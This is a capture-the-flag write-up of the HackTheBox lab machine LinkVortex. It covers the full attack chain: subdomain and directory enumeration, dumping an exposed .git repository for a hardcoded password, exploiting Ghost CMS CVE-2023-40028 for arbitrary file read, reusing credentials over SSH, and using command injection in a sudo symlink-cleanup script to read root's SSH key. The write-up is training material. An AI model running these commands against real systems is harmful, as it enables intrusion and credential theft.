Post

HackTheBox LinkVortex

Writeup for HackTheBox LinkVortex

HackTheBox LinkVortex

Machine Synopsis

LinkVortex is an easy-difficulty Linux machine with various ways to leverage symbolic link files (symlinks). The initial foothold involves discovering an exposed .git directory that can be dumped to retrieve credentials. These credentials allow access to the Ghost content management system vulnerable to CVE-2023-40028. This vulnerability allows authenticated users to upload symlinks, enabling arbitrary file read within the Ghost container. The exposed credentials in the Ghost configuration file can then be leveraged to gain a shell as the user on the host system. Finally, the user can execute a script with sudo permissions that are vulnerable to a symlink race condition attack (TOCTOU). This presents an opportunity to escalate privileges by creating links to sensitive files on the system and ultimately gaining root access. (Source)

Key exploitation techniques:

  • Exposed Git repository dumping
  • Default/hardcoded credential discovery
  • Ghost CMS arbitrary file read (CVE-2023-40028) via symlink upload
  • Credential reuse for initial host access
  • Symlink race condition (TOCTOU) in a sudo script
  • Arbitrary file read to obtain root SSH key

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

1
2
3
4
5
6
7
8
9
10
❯ nmap -sC -sV -A 10.10.11.47

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache

The HTTP service redirected to http://linkvortex.htb/. The hostname was added to /etc/hosts.

1
echo -e '10.10.11.47\t\tlinkvortex.htb' | sudo tee -a /etc/hosts

webpage

Subdomain & Directory Enumeration

Subdomain enumeration with ffuf identified dev.linkvortex.htb.

1
2
3
4
❯ ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 7ms]
...

dev.linkvortex.htb was added to /etc/hosts.

dev_webpage

Directory brute-forcing on http://dev.linkvortex.htb/ with dirsearch revealed an exposed .git directory.

1
2
3
4
5
6
7
❯ dirsearch -t 10 -u http://dev.linkvortex.htb 2>/dev/null

Target: http://dev.linkvortex.htb/
[11:10:29] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[11:10:29] 200 -  557B  - /.git/
[11:10:29] 200 -   73B  - /.git/description
...(truncated)

Git Repository Dumping & Credential Discovery

The exposed .git repository was dumped using git-dumper.

1
2
3
4
5
❯ virtualenv htb_linkvortex && source htb_linkvortex/bin/activate
❯ git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex-dump
[-] Fetching .git recursively
# ... (truncated)
Updated 5596 paths from the index

Analysis of the dumped repository revealed key information:

  • .git/config: Showed the origin as https://github.com/TryGhost/Ghost.git, confirming the application as Ghost CMS. The version v5.58.0 was also present.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    cat .git/config
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
    [remote "origin"]
        url = [https://github.com/TryGhost/Ghost.git](https://github.com/TryGhost/Ghost.git)
        fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
    
  • Dockerfile.ghost: Confirmed the Ghost version and indicated config.production.json as the main configuration file.

    1
    2
    3
    4
    
    cat Dockerfile.ghost
    FROM ghost:5.58.0
    COPY config.production.json /var/lib/ghost/config.production.json
    # ...
    
  • grep for “password” within the dumped files found a hardcoded password in ghost/core/test/regression/api/admin/authentication.test.js.

    1
    2
    
    grep -ri 'password' linkvortex-dump/
    linkvortex-dump/ghost/core/test/regression/api/admin/authentication.test.js:          const password = 'OctopiFociPilfer45';
    

    The password OctopiFociPilfer45 was identified. This is a common pattern where test/development credentials are left in production environments.

Exploitation: Ghost CMS Arbitrary File Read (CVE-2023-40028)

Ghost CMS version 5.58.0 is vulnerable to CVE-2023-40028, an arbitrary file read vulnerability that can be exploited by authenticated users via symlink uploads.

A PoC at this GitHub repository was used to exploit CVE-2023-40028. The GHOST_URL variable in the script was adjusted to http://linkvortex.htb..

1
2
#GHOST_URL='http://127.0.0.1'
GHOST_URL='http://linkvortex.htb'

The exploit script was run with the discovered credentials. Initial attempts with just admin as the username failed, but using admin@linkvortex.htb (the expected email format for Ghost login) succeeded.

1
2
3
4
5
❯ ./exploit.sh -u admin -p OctopiFociPilfer45
[!] INVALID USERNAME OR PASSWORD
❯ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file>

The exploit provided an arbitrary file read shell.

Extracting Credentials via Arbitrary File Read

Using the exploit shell, /etc/passwd was read to identify system users, and then /var/lib/ghost/config.production.json was targeted based on the Dockerfile analysis.

1
2
3
4
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
# ... (truncated)
node:x:1000:1000::/home/node:/bin/bash # Identified potential user

Reading config.production.json yielded additional credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  # ...
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth" # Critical finding
        }
      }
    }
}

The credentials for bob@linkvortex.htb/fibber-talented-worth were discovered.

The discovered credentials for bob were used to establish an SSH session to the host.

1
2
3
4
5
6
❯ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
bob@linkvortex:~$ cat user.txt
33d559f112960e0c2b623909b7f30300

The user.txt flag was retrieved.

Privilege escalation was pursued by examining bob’s sudo privileges.

1
2
3
bob@linkvortex:~$ sudo -l
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The bob user could execute /usr/bin/bash /opt/ghost/clean_symlink.sh *.png as root without a password. The script’s content was reviewed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then # Vulnerable: CHECK_CONTENT can be injected
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then # Check (TOCTOU vulnerable)
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK) # Use (TOCTOU vulnerable)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/ # Use (TOCTOU vulnerable)
    if $CHECK_CONTENT;then # Command injection here
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

The script is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition and command injection via the CHECK_CONTENT environment variable.

Vulnerability Breakdown:

  1. TOCTOU: The script checks if $LINK is a symlink (test -L $LINK) and reads its target (readlink $LINK). If a symlink is created pointing to a dummy .png file, but then rapidly swapped (raced) to point to a sensitive file (/root/root.txt) between the test -L and readlink/cat operations, the cat command would read the sensitive file.
  2. Command Injection: The $CHECK_CONTENT variable is evaluated directly within an if statement (if $CHECK_CONTENT;then). If $CHECK_CONTENT contains a command (e.g., /bin/cat /root/root.txt), it will be executed by sudo (as root).

Exploiting TOCTOU & Command Injection

The strategy involved:

  1. Creating a temporary symlink (/tmp/exploit.png) pointing to another symlink (/tmp/fake.png) to satisfy the .png extension check.
  2. Initially pointing /tmp/fake.png to /dev/null (or any non-sensitive file) to pass the grep -Eq '(etc|root)' check.
  3. Injecting a command into CHECK_CONTENT.
  4. Executing the sudo command. A TOCTOU race would be needed if the script’s checks were more robust, but the CHECK_CONTENT injection alone is sufficient for RCE here. The symlink chain primarily bypasses the initial filename validation and internal grep checks.
1
2
3
4
5
6
7
8
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png # Initial dummy target
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/root.txt' # Command injection for root.txt
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected # Expected warning from shell, but command executes
Link found [ /tmp/exploit.png ] , moving it to quarantine
Content:
779d0ff9be29244ba048b546b98c7fec # root.txt contents

The root.txt flag was successfully read.

To gain a persistent root shell, the id_rsa file from /root/.ssh/ was targeted.

1
2
3
4
5
6
7
8
9
10
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa' # Command injection for root SSH key
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png # Recreate symlinks as they are moved
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Content:

The root SSH private key was successfully retrieved.

Root Access

The private key was saved to id_rsa on the attacker machine and permissions were set correctly.

1
2
3
4
5
6
chmod 600 id_rsa
❯ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
root@linkvortex:~# cat root.txt
779d0ff9be29244ba048b546b98c7fec

Root access was obtained, and the root.txt flag confirmed.

OPSEC for Privilege Escalation:

Any temporary symlinks (/tmp/exploit.png, /tmp/fake.png) created during the exploit should be removed from the target system. The CHECK_CONTENT environment variable is temporary for the sudo command’s execution and does not persist.

1
2
3
  # On target machine as root
  root@linkvortex:~# rm /tmp/exploit.png /tmp/fake.png
  root@linkvortex:~# rm /var/quarantined/exploit.png # Remove the quarantined file as well
This post is licensed under CC BY 4.0 by the author.